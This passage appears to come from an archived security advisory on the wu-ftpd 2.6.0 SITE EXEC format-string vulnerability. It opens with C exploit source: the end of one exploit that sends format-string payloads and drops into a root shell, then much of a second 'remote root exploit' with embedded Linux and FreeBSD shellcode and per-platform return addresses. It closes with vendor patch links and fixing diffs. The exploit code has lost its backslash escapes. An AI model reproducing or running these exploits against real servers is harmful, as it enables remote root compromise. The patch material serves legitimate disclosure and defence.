		 for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%d\");
		 break;
		 case 4:if(padding<0)padding=getit.magic[i];break;
		 default:fprintf(stderr,\"STEP 3: INternal errorn\");
		 exit(1);
		 break;
	 	 }
		 }
		 }
		 if(padding<0){
		 for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
		 if(num<(MAX_MAGIC-1))
		 padding=getit.magic[num];
		 else
		 fprintf(stderr,\"WARNING: PROBLEMS WITH PADDINGn\");
		 }
	
		 if(!getit.islinux){
	 	 if(!testmode)
		 snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\");
		 else
		 snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\");
		 } else {
	 	 if(!testmode)
		 snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\");
		 else
		 snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\");
		 }
		 sleep(getit.delay);
		 fflush(stdout);
		 if((buff_p=(char *)malloc(4096))==NULL){
		 fprintf(stderr,\"malloc failed.n\");
		 exit(1);
		 }
		 (void)bzero(buff_p,4096);
		 ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
		 if((buff_p2=strchr(buff_p,\'r\'))!=NULL)
		 *buff_p2=(char)0;
		 if((buff_p2=strchr(buff_p,\'n\'))!=NULL)
		 *buff_p2=(char)0;
		 buff_p2=strstr(buff_p,\"|0x\");
		 if(buff_p2==NULL){
		 fprintf(stderr,\"Fix me, incorrect response from \'%%p\':%sn\",buff_p);
		 exit(1);
		 }
		 buff_p2+=3;
		 if(!testmode)
		 printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.addr_ret_addr);
		 else
		 printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.pass_addr);
		 sleep(getit.delay);
		 buff_p2=strstr(buff, \"%.f\");
		 *buff_p2++=(char )0;
		 strcpy(buff_p, buff);
		 if(!testmode)
		 sprintf(buff_p+strlen(buff_p),\"%s%u%c\",\"%d%.\",(u_int)getit.pass_addr,\'d\');
		 else
		 sprintf(buff_p+strlen(buff_p),\"%s\",\"%d%d\");
		 strcpy(buff_p+strlen(buff_p), buff_p2);
		 buff_p2=strchr(buff_p,\'|\');
		 buff_p2++;
		 printf(\"STEP 5 : Sending code.. this will take about 10 seconds.n\");
		 if(!testmode){
		 strcpy(buff_p2,\"%nrn\");
		 ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
		 } else {
		 (void)bzero(buff,4096);
		 strcpy(buff_p2,\"%srn\");
		 ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
		 printf(\"got answer: %sn\",buff);
		 exit(0);
		 }
		 free(buff_p);
		 free(buff);
		 signal(SIGINT, SIG_IGN);
		 signal(SIGHUP, SIG_IGN);
		 printf(RED\"Press ^\\ to leave shell\"NORM\"n\");
		 process_possibly_rooted(sock);
		 return 0;
	 }
	
	 Yet another code:
	
	 /*
	 * (c) 2000 venglin / b0f
	 * http://b0f.freebsd.lublin.pl
	 *
	 * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000)
	 *
	 * Idea and preliminary version of exploit by tf8
	 *
	 * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
	 * Dedicated to ksm.
	 *
	 * **PRIVATE**DO*NOT*DISTRIBUTE**
	 */
	 
	 #include <stdio.h>
	 #include <stdlib.h>
	 #include <stdarg.h>
	 #include <string.h>
	 #include <sys/types.h>
	 #include <sys/socket.h>
	 #include <netinet/in.h>
	 #include <netdb.h>
	 #include <unistd.h>
	 #include <arpa/inet.h>
	 
	 
	 #define repln	if (getreply(0) < 0) return -1
	 #define replv	if (getreply(1) < 0) return -1
	 
	 #ifdef DEBUG
	 #define repl replv
	 #else
	 #define repl repln
	 #endif
	 
	 char usage[] = \"usage: bobek [-l login] [-o port] [-t type] hostname\";
	 char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
	 FILE *cin, *cout;
	 
	 char linuxcode[]= /* Lam3rZ chroot() code */
		 \"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb\"
		 \"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31\"
		 \"xc9x8dx5ex01x88x46x04x66xb9xffx01xb0x27xcd\"
		 \"x80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31xdb\"
		 \"x8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8dx5e\"
		 \"x08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46x09\"
		 \"x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8x88\"
		 \"x46x04x31xc0x88x46x07x89x76x08x89x46x0cx89\"
		 \"xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0x31\"
		 \"xdbxb0x01xcdx80xe8x90xffxffxffx30x62x69x6e\"
		 \"x30x73x68x31x2ex2ex31x31x76x65x6ex67x6cx69\"
		 \"x6e\";
	 
	 char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
		 \"x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43\"
		 \"x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0\"
		 \"x8dx5ex01x88x46x04x66x68xffx01x53x53xb0x88\"
		 \"xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80x31\"
		 \"xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9x31\"
		 \"xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75xf1\"
		 \"x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcdx80\"
		 \"xfex0exb0x30xfexc8x88x46x04x31xc0x88x46x07\"
		 \"x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56x0c\"
		 \"x52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53x53\"
		 \"xb0x01xcdx80xe8x84xffxffxffx30x62x69x6ex30\"
		 \"x73x68x31x2ex2ex31x31x76x65x6ex67x6cx69x6e\";
	 
	 struct platforms
	 {
		 char *os;
		 char *version;
		 char *code;
		 int align;
		 int eipoff;
		 long ret;
		 long retloc;
		 int sleep;
	 };
	 
	 struct platforms targ[] =
	 {
		 { \"FreeBSD 3.4-STABLE\", \"2.6.0-ports\", bsdcode, 2, 1024, 0x80b1f10,
			 0xbfbfcc04, 0 },
		 { \"FreeBSD 5.0-CURRENT\", \"2.6.0-ports\", bsdcode, 2, 1024, 0x80b1510,
			 0xbfbfec0c, 0 },
		 { \"FreeBSD 3.4-STABLE\", \"2.6.0-packages\", bsdcode, 2, 1024, 0x80b1510,
			 0xbfbfe798, 0 },
		 { \"FreeBSD 3.4-STABLE\", \"2.6.0-venglin\", bsdcode, 2, 1024, 0x807078c,
			 0xbfbfcc04, 0 },
		 { \"RedHat Linux 6.2\", \"2.6.0-RPM\", linuxcode, 2, 1024, 0x80759e0,
			 0xbfffcf74, 0 },
		 { \"RedHat Linux 6.2\", \"2.6.0-RPM\", linuxcode, 2, 1024, 0x80759e0,
			 0xbfffd074, 0 },
	 
		 { NULL, NULL, NULL, 0, NULL, NULL, 0 }
	 };
	 
	 long getip(name)
	 char *name;
	 {
		 struct hostent *hp;
		 long ip;
		 extern int h_errno;
	 
		 if ((ip = inet_addr(name)) < 0)
		 {
			 if (!(hp = gethostbyname(name)))
			 {
				 fprintf(stderr, \"gethostbyname(): %sn\",
					 strerror(h_errno));
				 exit(1);
			 }
			 memcpy(&ip, (hp->h_addr), 4);
		 }
	 
		 return ip;
	 }
	 
	 int connecttoftp(host, port)
	 char *host;
	 int port;
	 {
		 int sockfd;
		 struct sockaddr_in cli;
	 
		 bzero(&cli, sizeof(cli));
		 cli.sin_family = AF_INET;
		 cli.sin_addr.s_addr=getip(host);
		 cli.sin_port = htons(port);
	 
		 if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
		 {
			 perror(\"socket\");
			 return -1;
		 }
	 
		 if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
		 {
	 perror(\"connect\");
			 close(sockfd);
			 return -1;
		 }
	 
		 cin = fdopen(sockfd, \"r\");
		 cout = fdopen(sockfd, \"w\");
	 
		 if (!cin || !cout)
		 {
			 close(sockfd);
			 return -1;
		 }
	 
		 return sockfd;
	 }
	 
	 int command(const char *fmt, ...)
	 {
		 char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;
	 
		 va_list args;
	 
		 if (!cout)
			 return -1;
	 
		 bzero(buf1, BUFSIZ);
		 bzero(buf2, BUFSIZ*2);
	 
		 va_start(args, fmt);
		 vsnprintf(buf1, BUFSIZ, fmt, args);
		 va_end(args);
	 
		 for (p=buf1,q=buf2;*p;p++,q++)
		 {
			 if (*p == \'xff\')
			 {
				 *q++ = \'xff\';
				 *q = \'xff\';
			 }
			 else
				 *q = *p;
		 }
	 
		 fprintf(cout, \"%s\", buf2);
	 
	 #ifdef DEBUG
		 fprintf(stderr, \"--> \");
		 fprintf(stderr, \"%s\", buf2);
		 fputc(\'n\', stderr);
	 #endif
	 
		 fputs(\"rn\", cout);
		 (void)fflush(cout);
		 return 0;
	 
SOLUTION
	 2.6.1 has no this bug.
	
	 For RedHat:
	
	 Red Hat Linux 5.2:
	 i386: ftp://updates.redhat.com/5.2/i386/wu-ftpd-2.6.0-2.5.x.i386.rpm
	 alpha: ftp://updates.redhat.com/5.2/alpha/wu-ftpd-2.6.0-2.5.x.alpha.rpm
	 sparc: ftp://updates.redhat.com/5.2/sparc/wu-ftpd-2.6.0-2.5.x.sparc.rpm
	 sources: ftp://updates.redhat.com/5.2/SRPMS/wu-ftpd-2.6.0-2.5.x.src.rpm
	
	 Red Hat Linux 6.2:
	 i386: ftp://updates.redhat.com/6.2/i386/wu-ftpd-2.6.0-14.6x.i386.rpm
	 alpha: ftp://updates.redhat.com/6.2/alpha/wu-ftpd-2.6.0-14.6x.alpha.rpm
	 sparc: ftp://updates.redhat.com/6.2/sparc/wu-ftpd-2.6.0-14.6x.sparc.rpm
	 sources: ftp://updates.redhat.com/6.2/SRPMS/wu-ftpd-2.6.0-14.6x.src.rpm
	
	 You are supposed to use the latest fixes for your major release
	 number. So if you run 6.0 or 6.1 you must use the 6.2 fixes. So
	 there IS a fix for 6.1 and 6.0 available. If you use RH 4.2,
	 sorry, but no patch this time.
	
	 For Debian GNU/Linux 2.1 alias slink:
	
	 Source archives:
	 http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.diff.gz
	 http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.dsc
	 http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16.orig.tar.gz
	
	 Intel ia32 architecture:
	 http://security.debian.org/dists/slink/updates/binary-i386/wu-ftpd-academ_2.4.2.16-13.1_i386.deb
	
	 Sun Sparc architecture:
	 http://security.debian.org/dists/slink/updates/binary-sparc/wu-ftpd-academ_2.4.2.16-13.1_sparc.deb
	
	 For Debian 2.2 alias potato:
	
	 Source archives:
	 http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.diff.gz
	 http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.dsc
	 http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0.orig.tar.gz
	
	 Architecture indendent archives:
	 http://security.debian.org/dists/potato/updates/main/binary-all/wu-ftpd-academ_2.6.0-5.1_all.deb
	
	 Alpha architecture:
	 http://security.debian.org/dists/potato/updates/main/binary-alpha/wu-ftpd_2.6.0-5.1_alpha.deb
	
	 ARM architecture:
	 http://security.debian.org/dists/potato/updates/main/binary-arm/wu-ftpd_2.6.0-5.1_arm.deb
	
	 Intel ia32 architecture:
	 http://security.debian.org/dists/potato/updates/main/binary-i386/wu-ftpd_2.6.0-5.1_i386.deb
	
	 PowerPC architecture:
	 http://security.debian.org/dists/potato/updates/main/binary-powerpc/wu-ftpd_2.6.0-5.1_powerpc.deb
	
	 Sun Sparc architecture:
	 http://security.debian.org/dists/potato/updates/main/binary-sparc/wu-ftpd_2.6.0-5.1_sparc.deb
	
	 For Conectiva Linux:
	
	 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
	 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/wu-ftpd-2.6.0-11cl.i386.rpm
	 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/wu-ftpd-2.6.0-11cl.i386.rpm
	 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/wu-ftpd-2.6.0-11cl.i386.rpm
	 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
	 ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/servidor-1.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
	
	 For OpenLinux:
	
	 OpenLinux Desktop 2.3
	 ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/
	 ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS
	
	 OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0
	 ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/
	 ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS
	
	 OpenLinux eDesktop 2.4
	 ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/
	 ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS
	
	 For SuSE Linux (For SuSE 6.0, please use the 6.1 updates):
	
	 AXP:
	 ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/wuftpd-2.6.0-121.alpha.rpm
	 ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/wuftpd-2.6.0-121.alpha.rpm
	 ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/wuftpd-2.6.0-121.alpha.rpm
	
	 i386:
	 ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/wuftpd-2.6.0-122.i386.rpm
	 ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/wuftpd-2.6.0-121.i386.rpm
	 ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/wuftpd-2.6.0-121.i386.rpm
	 ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/wuftpd-2.6.0-122.i386.rpm
	
	 PPC:
	 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/wuftpd-2.6.0-121.ppc.rpm
	
	 For Slackware Linux: The wu-ftpd daemon is part of the tcpip1.tgz
	 package in the N series. A new tcpip1.tgz package is now
	 available in the Slackware 7.1 tree. Slackware team have also
	 provided a seperate patch package for users who have already
	 installed Slackware 7.1 and just want the new FTP daemon. A
	 seperate wu-ftpd-only patch package is available in the patches/
	 subdirectory:
	
	 ftp://ftp.slackware.com/pub/slackware/slackware-7.1/patches/
	
	 For Mandrake Linux:
	
	 6.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
	 src: 6.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm
	 6.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
	 src: 6.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm
	 7.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
	 src: 7.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm
	 7.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
	 src: 7.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm
	
	 For FreeBSD:
	
	 1) Upgrade your entire ports collection and rebuild the wu-ftpd
	 port.
	 2) Deinstall the old package and install a new package dated
	 after the correction date (2000年07月05日), obtained from:
	 ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/ftp/wu-ftpd-2.6.0.tar.gz
	 ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz
	 ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz
	 ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz
	 ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz
	 3) download a new port skeleton for the wu-ftpd port from:
	 http://www.freebsd.org/ports/
	 and use it to rebuild the port.
	
	 Two temporary ftpd binaries (for HP-UX 11.00 and HP-UX 10.20) can
	 be found at:
	
	 ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.11.0
	 ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.10.20
	 ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.10.00-10.10
	
	 These are to be installed in /usr/lbin/ftpd, with permissions 544.
	
	 Also. be sure to upgrade to ProFTPD 1.2.0
	
	 The setproctitle bug is in OpenBSD can be solved by going to:
	
	 http://www.openbsd.org/errata.html#ftpd
	
	 Slackware Linux Project:
	
	 ftp://ftp.slackware.com/pub/slackware/slackware-7.1/patches/wu-ftpd-patch.README
	
	 For Turbo Linux:
	
	 ftp://ftp.turbolinux.com/pub/updates/4.0/security/wu-ftpd-2.6.1-1.i386.rpm
	 ftp://ftp.turbolinux.com/pub/updates/4.0/SRPMS/wu-ftpd-2.6.1-1.src.rpm
	
	 Note: You must rebuild and install the RPM if you choose to
	 download and install the SRPM. Simply installing the SRPM alone
	 WILL NOT CLOSE THE SECURITY HOLE.
	
	 There aren\'t any patches for wu-ftpd-academ. Tomasz Grabowski
	 made a patch for that bug so You don\'t need to change Your
	 wu-ftpd-academ to wu-ftpd if You don\'t want.
	
	 --- src/ftpcmd.y.orig	Tue Jun 27 16:57:36 2000
	 +++ src/ftpcmd.y	Tue Jun 27 17:00:42 2000
	 @@ -1590,13 +1590,13 @@
	 } else {
	 int lines = 0;
	
	 - lreply(200, cmd);
	 +	lreply(200, \"%s\", cmd);
	 while (fgets(buf, sizeof buf, cmdf)) {
	 int len = strlen(buf);
	
	 if (len>0 && buf[len-1]==\'n\')
	 buf[--len] = \'\';
	 - lreply(200, buf);
	 +	 lreply(200, \"%s\", buf);
	 if (++lines>= 20) {
	 lreply(200, \"*** Truncated ***\");
	 break;
	
	 --- src/ftpd.c.orig	Tue Jun 27 17:05:30 2000
	 +++ src/ftpd.c	Tue Jun 27 17:06:37 2000
	 @@ -1775,7 +1775,7 @@
	 reply(230, \"User %s logged in.%s\", pw->pw_name, guest ?
	 \" Access restrictions apply.\" : \"\");
	 sprintf(proctitle, \"%s: %s\", remotehost, pw->pw_name);
	 - setproctitle(proctitle);
	 +	setproctitle(\"%s\", proctitle);
	 if (logging)
	 syslog(LOG_INFO, \"FTP LOGIN FROM %s [%s], %s\",
	 remotehost, remoteaddr, pw->pw_name);
	 @@ -3337,7 +3337,7 @@
	
	 remotehost[sizeof(remotehost)-1]=\'\';
	 sprintf(proctitle, \"%s: connected\", remotehost);
	 - setproctitle(proctitle);
	 + setproctitle(\"%s\", proctitle);
	
	 #if 0	/* this is redundant unless the caller doesn\'t do *anything*, and
	 	 tcpd will pick it up and deal with it better anyways. _H*/
	
	 However, wu-ftpd-academ is a dead branch and you should update to
	 2.6.0 or higher.
	
	 Try this one to workaround:
	
	 diff -ur wu-ftpd-orig/src/ftpcmd.y wu-ftpd-2.6.0/src/ftpcmd.y
	 --- wu-ftpd-orig/src/ftpcmd.y	Wed Oct 13 08:15:28 1999
	 +++ wu-ftpd-2.6.0/src/ftpcmd.y	Thu Jun 22 22:44:41 2000
	 @@ -1926,13 +1926,13 @@
	 	 }
	 	 if (!maxfound)
	 	 maxlines = defmaxlines;
	 -	lreply(200, cmd);
	 +	lreply(200, \"%s\", cmd);
	 	 while (fgets(buf, sizeof buf, cmdf)) {
	 	 size_t len = strlen(buf);
	
	 	 if (len> 0 && buf[len - 1] == \'n\')
	 		 buf[--len] = \'\';
	 -	 lreply(200, buf);
	 +	 lreply(200, \"%s\", buf);
	 	 if (maxlines <= 0)
	 		 ++lines;
	 	 else if (++lines>= maxlines) {
	 diff -ur wu-ftpd-orig/src/ftpd.c wu-ftpd-2.6.0/src/ftpd.c
	 --- wu-ftpd-orig/src/ftpd.c	Thu Jun 22 22:23:40 2000
	 +++ wu-ftpd-2.6.0/src/ftpd.c	Thu Jun 22 22:45:23 2000
	 @@ -3157,7 +3157,7 @@
	 	 reply(230, \"User %s logged in.%s\", pw->pw_name, guest ?
	 	 \" Access restrictions apply.\" : \"\");
	 	 sprintf(proctitle, \"%s: %s\", remotehost, pw->pw_name);
	 -	setproctitle(proctitle);
	 +	setproctitle(\"%s\", proctitle);
	 	 if (logging)
	 	 syslog(LOG_INFO, \"FTP LOGIN FROM %s, %s\", remoteident, pw->pw_name);
	 /* H* mod: if non-anonymous user, copy it to \"authuser\" so everyone can
	 @@ -5912,7 +5912,7 @@
	
	 remotehost[sizeof(remotehost) - 1] = \'\';
	 sprintf(proctitle, \"%s: connected\", remotehost);
	 - setproctitle(proctitle);
	 + setproctitle(\"%s\", proctitle);
	
	 wu_authenticate();
	 /* Create a composite source identification string, to improve the logging
	
	 For NetBSD:
	
	 ftp://ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/net/wu-ftpd/README.html
	
	 Since the OPIE software doesn\'t appear to be actively maintained
	 any more, here\'re (trivial) patches to the recent setproctitle()
	 thing. Actually this is against the version from the FreeBSD
	 source tree, so the offsets may be a bit different. We don\'t
	 actually compile this code in FreeBSD, it\'s just along for the
	 ride under /usr/src/contrib with the other OPIE stuff that we do
	 use.
	
	 Index: opieftpd.c
	 ===================================================================
	 RCS file: /home/ncvs/src/contrib/opie/opieftpd.c,v
	 retrieving revision 1.3
	 diff -u -r1.3 opieftpd.c
	 --- opieftpd.c	2000年04月10日 11:18:47	1.3
	 +++ opieftpd.c	2000年07月10日 07:23:02
	 @@ -633,7 +633,7 @@
	 #if DOTITLE
	 snprintf(proctitle, sizeof(proctitle), \"%s: anonymous/%s\", remotehost,
	 	 passwd);
	 - setproctitle(proctitle);
	 + setproctitle(\"%s\", proctitle);
	 #endif	/* DOTITLE */
	 syslog(LOG_NOTICE, \"ANONYMOUS FTP login from %s with ID %s\",
	 remotehost, passwd);
	 @@ -644,7 +644,7 @@
	
	 #if DOTITLE
	 snprintf(proctitle, sizeof(proctitle), \"%s: %s\", remotehost, pw->pw_name);
	 - setproctitle(proctitle);
	 + setproctitle(\"%s\", proctitle);
	 #endif	/* DOTITLE */
	 syslog(LOG_INFO, \"FTP login from %s with user name %s\", remotehost, pw->pw_name);
	 }
	 @@ -1262,7 +1262,7 @@
	 remotehost[sizeof(remotehost) - 1] = \'\';
	 #if DOTITLE
	 snprintf(proctitle, sizeof(proctitle), \"%s: connected\", remotehost);
	 - setproctitle(proctitle);
	 + setproctitle(\"%s\", proctitle);
	 #endif	/* DOTITLE */
	
	 t = time((time_t *) 0);
	
	

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH